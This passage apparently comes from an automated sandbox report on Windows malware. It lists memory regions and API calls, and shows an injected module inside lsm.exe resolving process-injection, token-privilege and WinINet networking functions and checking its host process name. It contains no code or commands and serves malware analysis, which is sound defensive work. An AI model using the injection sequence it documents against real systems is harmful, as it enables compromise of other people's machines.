"SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 1094 start_va = 0xab0000 end_va = 0xb2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1095 start_va = 0xbc0000 end_va = 0xc3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 1096 start_va = 0xc40000 end_va = 0xcbffff entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 1097 start_va = 0x7fefcef0000 end_va = 0x7fefcefcfff entry_point = 0x7fefcef1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" Region: id = 1098 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 1099 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1100 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1101 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1102 start_va = 0x270000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1103 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 1104 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 1105 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 1106 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 1107 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Thread: id = 88 os_tid = 0x1f0 [0073.970] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\lsm.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.971] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.975] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0073.976] IoIs32bitProcess (Irp=0x0) returned 0 [0073.976] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003557730 [0073.976] KeInitializeApc (Apc=0xfffffa8003557730, Thread=0xfffffa8003564b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0073.976] KeInsertQueueApc (Apc=0xfffffa8003557730, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0073.976] ExFreePoolWithTag (P=0xfffffa8003557730, Tag=0x0) [0073.976] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa8003570340 [0073.976] IoGetCurrentProcess () returned 0xfffffa80035604c0 [0073.976] PsGetCurrentProcessId () returned 0x1ec [0073.976] IoIs32bitProcess (Irp=0x0) returned 0 [0073.976] KeInitializeEvent (in: Event=0xfffffa8003570380, Type=0x0, State=0 | out: Event=0xfffffa8003570380) [0073.976] ExQueueWorkItem (in: WorkItem=0xfffffa8003570340*(List.Flink=0x0, List.Blink=0x2224848966fffffd, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003570340), QueueType=0x1 | out: WorkItem=0xfffffa8003570340*(List.Flink=0x0, List.Blink=0x2224848966fffffd, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003570340)) [0073.999] KeWaitForMutexObject () returned 0x0 [0073.999] ExFreePoolWithTag (P=0xfffffa8003570340, Tag=0x0) [0073.999] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.005] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.008] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.009] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.023] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sysntfy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.029] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wmsgapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.240] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0074.240] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0074.240] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0074.240] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0074.240] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0074.240] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0074.240] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.241] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.241] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.242] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.242] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.243] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.243] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.244] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.244] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.245] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.245] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.245] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.246] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.248] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.248] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.367] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0074.367] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0074.367] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0074.367] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0074.368] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.369] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0074.369] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0074.369] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.370] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0074.370] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0074.370] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0074.370] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0074.370] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0074.370] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0074.370] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0074.372] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0074.372] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0074.372] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x24f188 | out: lpflOldProtect=0x24f188*=0x40) returned 1 [0074.373] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x24f188 | out: lpflOldProtect=0x24f188*=0x4) returned 1 [0074.373] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0074.373] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0074.374] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0074.375] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0074.375] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0074.375] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0074.375] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0074.375] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0074.375] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0074.375] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0074.375] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0074.375] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0074.375] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0074.375] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0074.375] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0074.375] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0074.376] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0074.376] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0074.376] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0074.376] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0074.376] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0074.376] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0074.376] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0074.376] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0074.376] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0074.376] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0074.376] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0074.376] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0074.376] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0074.376] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0074.376] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0074.376] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0074.376] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0074.377] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0074.377] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0074.378] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0074.379] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0074.380] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0074.380] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0074.380] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0074.380] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0074.381] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0074.381] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0074.381] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0074.381] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0074.381] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0074.381] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0074.381] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0074.381] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0074.381] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0074.383] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0074.384] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\lsm.exe") returned 0x1b [0074.384] PathFindFileNameA (pszPath="C:\\Windows\\system32\\lsm.exe") returned="lsm.exe" [0074.384] GetCommandLineA () returned="C:\\Windows\\system32\\lsm.exe" [0074.384] _strcmpi (_Str1="lsm.exe", _Str2="svchost.exe") returned -7 [0074.384] StrStrIA (lpFirst="lsm.exe", lpSrch="wermgr.exe") returned 0x0 [0074.386] HeapDestroy (hHeap=0xc20000) returned 1 [0076.489] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.005] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pcwum.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.011] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.015] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.016] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.016] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.020] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 115 os_tid = 0x258 Thread: id = 146 os_tid = 0x2d0 Thread: id = 148 os_tid = 0x2d8 Thread: id = 150 os_tid = 0x2e0 Thread: id = 151 os_tid = 0x2e4 Thread: id = 153 os_tid = 0x2ec Thread: id = 156 os_tid = 0x2f8 Thread: id = 157 os_tid = 0x2fc Thread: id = 159 os_tid = 0x304 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x13477000" os_pid = "0x250" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" Region: id = 834 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 835 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 836 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 837 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 838 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 839 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 840 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 841 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" Region: id = 842 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 843 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 844 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 845 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 846 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 847 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 848 start_va 